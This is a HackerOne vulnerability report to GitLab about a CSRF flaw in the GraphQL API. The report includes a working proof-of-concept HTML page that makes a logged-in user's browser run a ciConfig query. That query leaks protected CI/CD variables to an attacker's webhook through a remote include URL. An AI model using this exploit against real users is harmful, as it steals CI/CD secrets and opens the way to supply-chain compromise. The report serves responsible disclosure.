Stealing protected CI/CD variables via CiConfig graphql query through a single link visit
HackerOne report #2996542 by albatraoz on 2025-02-16, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
The GitLab GraphQL API does not implement CSRF protections for queries, meaning an attacker can execute unauthorized queries on behalf of an authenticated user via CSRF. This vulnerability allows an attacker to craft a GraphQL query that includes a query parameter in the URL, pointing to a remote CiConfig location. If a logged-in GitLab user visits the malicious link, the request executes in their session context, exposing protected CI/CD variables.
Steps to reproduce
- Create a group and a project and add a protected variable to the group via Settings -> CI/CD -> Variables.
For e.g PROTECTED_VAR -> VERY_SECRET_VALUE - Now create a POC with the following HTML & replace the values for PROJECT_NAME and WEBHOOK_URL:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Redirecting...</title>
<script>
window.location.href = "https://gitlab.com/api/graphql?query=" + encodeURIComponent(`
query {
ciConfig(
projectPath: "[PROJECT_NAME]",
dryRun: true,
content: "include:\\n remote: [WEBHOOK_URL]/$PROTECTED_VAR.yaml"
) {
mergedYaml
status
errors
}
}
`);
</script>
</head>
</html>
- Now open the above HTML file with a browser and you will see some graphql response.
- Open the webhook service and you will see that the protected variable defined in the first step is leaked.
P.O.C
Here's a video POC of this attack using webhook.site as the webhook service:
steal_vars.mp4
Impact
Attackers can exfiltrate sensitive CI/CD secrets, potentially leading to code leaks, supply chain attacks, or infrastructure compromise.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: